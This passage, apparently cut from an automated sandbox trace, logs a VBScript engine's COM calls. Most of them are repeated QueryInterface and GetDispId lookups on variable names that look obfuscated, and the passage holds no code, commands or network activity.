[6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.677] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="STRSCRIPTVER", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.677] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="STRSCRIPTVER", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.677] GetCurrentThreadId () returned 0xd44 [0065.678] IUnknown:Release (This=0x1197760) returned 0x5 [0065.678] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.678] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="STRUNKNOWNCOMMAND", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.678] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="STRUNKNOWNCOMMAND", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.678] GetCurrentThreadId () returned 0xd44 [0065.678] IUnknown:Release (This=0x1197760) returned 0x5 [0065.678] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.679] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="STRWINVER", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.679] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="STRWINVER", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.679] GetCurrentThreadId () returned 0xd44 [0065.679] IUnknown:Release (This=0x1197760) returned 0x5 [0065.679] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.679] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="ARRHELPWIN1", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.679] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="ARRHELPWIN1", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.679] GetCurrentThreadId () returned 0xd44 [0065.679] IUnknown:Release (This=0x1197760) returned 0x5 [0065.679] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.680] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="ARRHELPWINC1HR1", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.680] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="ARRHELPWINC1HR1", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.680] GetCurrentThreadId () returned 0xd44 [0065.680] IUnknown:Release (This=0x1197760) returned 0x5 [0065.680] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.680] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="ARRI1NTCMD", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.680] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="ARRI1NTCMD", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.680] GetCurrentThreadId () returned 0xd44 [0065.680] IUnknown:Release (This=0x1197760) returned 0x5 [0065.680] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.681] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="ARRT1EMP", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.681] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="ARRT1EMP", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.681] GetCurrentThreadId () returned 0xd44 [0065.681] IUnknown:Release (This=0x1197760) returned 0x5 [0065.681] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.681] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="DICH1ELPLONG", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.681] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="DICH1ELPLONG", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.681] GetCurrentThreadId () returned 0xd44 [0065.681] IUnknown:Release (This=0x1197760) returned 0x5 [0065.681] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.681] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="DICHELPS1HORT", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.681] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="DICHELPS1HORT", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.681] GetCurrentThreadId () returned 0xd44 [0065.682] IUnknown:Release (This=0x1197760) returned 0x5 [0065.682] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.682] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="DICSYST1EMFILES", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.682] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="DICSYST1EMFILES", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.682] GetCurrentThreadId () returned 0xd44 [0065.682] IUnknown:Release (This=0x1197760) returned 0x5 [0065.682] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.682] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="BLNAD1DITIONAL", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.682] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="BLNAD1DITIONAL", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.682] GetCurrentThreadId () returned 0xd44 [0065.682] IUnknown:Release (This=0x1197760) returned 0x5 [0065.682] realloc (_Block=0x8460768, _Size=0x280) returned 0x844b2e8 [0065.682] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.683] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="BLN1DEBUG", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.683] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="BLN1DEBUG", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.683] GetCurrentThreadId () returned 0xd44 [0065.683] IUnknown:Release (This=0x1197760) returned 0x5 [0065.683] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.683] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="BLNDEB1UGLOG", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.683] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="BLNDEB1UGLOG", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.683] GetCurrentThreadId () returned 0xd44 [0065.683] IUnknown:Release (This=0x1197760) returned 0x5 [0065.683] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.683] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="BLNIGNOR1EBATCH", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.683] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="BLNIGNOR1EBATCH", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.683] GetCurrentThreadId () returned 0xd44 [0065.684] IUnknown:Release (This=0x1197760) returned 0x5 [0065.684] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.684] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="BLNNO1ADMIN", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.684] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="BLNNO1ADMIN", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.684] GetCurrentThreadId () returned 0xd44 [0065.684] IUnknown:Release (This=0x1197760) returned 0x5 [0065.684] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.684] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="BLNNO1HLPCHR1", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.684] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="BLNNO1HLPCHR1", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.684] GetCurrentThreadId () returned 0xd44 [0065.684] IUnknown:Release (This=0x1197760) returned 0x5 [0065.684] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.685] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="BLNOVER1WRITE", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.685] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="BLNOVER1WRITE", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.685] GetCurrentThreadId () returned 0xd44 [0065.685] IUnknown:Release (This=0x1197760) returned 0x5 [0065.685] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.685] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="BLNQU1IET", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.685] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="BLNQU1IET", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.685] GetCurrentThreadId () returned 0xd44 [0065.685] IUnknown:Release (This=0x1197760) returned 0x5 [0065.685] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.685] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="BLNWI1NDOWSONLY", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.685] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="BLNWI1NDOWSONLY", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.685] GetCurrentThreadId () returned 0xd44 [0065.686] IUnknown:Release (This=0x1197760) returned 0x5 [0065.686] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.686] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="INTBI1TSOS", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.686] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="INTBI1TSOS", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.686] GetCurrentThreadId () returned 0xd44 [0065.686] IUnknown:Release (This=0x1197760) returned 0x5 [0065.686] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.686] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="INT1CODEPAGE", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.686] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="INT1CODEPAGE", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.686] GetCurrentThreadId () returned 0xd44 [0065.686] IUnknown:Release (This=0x1197760) returned 0x5 [0065.686] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.687] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="INTOS1VERSION", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.687] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="INTOS1VERSION", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.687] GetCurrentThreadId () returned 0xd44 [0065.687] IUnknown:Release (This=0x1197760) returned 0x5 [0065.687] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.687] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="INTUNEXPECT1EDCODEPAGE", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.687] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="INTUNEXPECT1EDCODEPAGE", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.687] GetCurrentThreadId () returned 0xd44 [0065.687] IUnknown:Release (This=0x1197760) returned 0x5 [0065.687] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.687] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="INTVA1LIDARGS", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.687] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="INTVA1LIDARGS", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.687] GetCurrentThreadId () returned 0xd44 [0065.688] IUnknown:Release (This=0x1197760) returned 0x5 [0065.688] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.688] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="I1", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.688] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="I1", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.688] GetCurrentThreadId () returned 0xd44 [0065.688] IUnknown:Release (This=0x1197760) returned 0x5 [0065.688] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.688] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="J1", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.688] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="J1", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.688] GetCurrentThreadId () returned 0xd44 [0065.688] IUnknown:Release (This=0x1197760) returned 0x5 [0065.688] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.689] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="COLI1TEMS", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.689] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="COLI1TEMS", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.689] GetCurrentThreadId () returned 0xd44 [0065.689] IUnknown:Release (This=0x1197760) returned 0x5 [0065.689] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.689] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="OBJDEBU1GLOG", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.689] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="OBJDEBU1GLOG", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.689] GetCurrentThreadId () returned 0xd44 [0065.689] IUnknown:Release (This=0x1197760) returned 0x5 [0065.689] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.689] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="O1BJEXEC", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.690] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="O1BJEXEC", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.690] GetCurrentThreadId () returned 0xd44 [0065.690] IUnknown:Release (This=0x1197760) returned 0x5 [0065.690] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.690] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="OB1JHTMLFILE", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.690] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="OB1JHTMLFILE", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.690] GetCurrentThreadId () returned 0xd44 [0065.690] IUnknown:Release (This=0x1197760) returned 0x5 [0065.690] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.690] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="OBJFO1LDER", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.690] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="OBJFO1LDER", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.690] GetCurrentThreadId () returned 0xd44 [0065.690] IUnknown:Release (This=0x1197760) returned 0x5 [0065.691] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.691] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="OBJF1OLDERITEM", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.691] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="OBJF1OLDERITEM", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.691] GetCurrentThreadId () returned 0xd44 [0065.691] IUnknown:Release (This=0x1197760) returned 0x5 [0065.691] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.691] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="OB1JFSO", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.691] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="OB1JFSO", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.691] GetCurrentThreadId () returned 0xd44 [0065.691] IUnknown:Release (This=0x1197760) returned 0x5 [0065.691] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.692] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="OBJIT1EM", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.692] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="OBJIT1EM", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.692] GetCurrentThreadId () returned 0xd44 [0065.692] IUnknown:Release (This=0x1197760) returned 0x5 [0065.692] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), 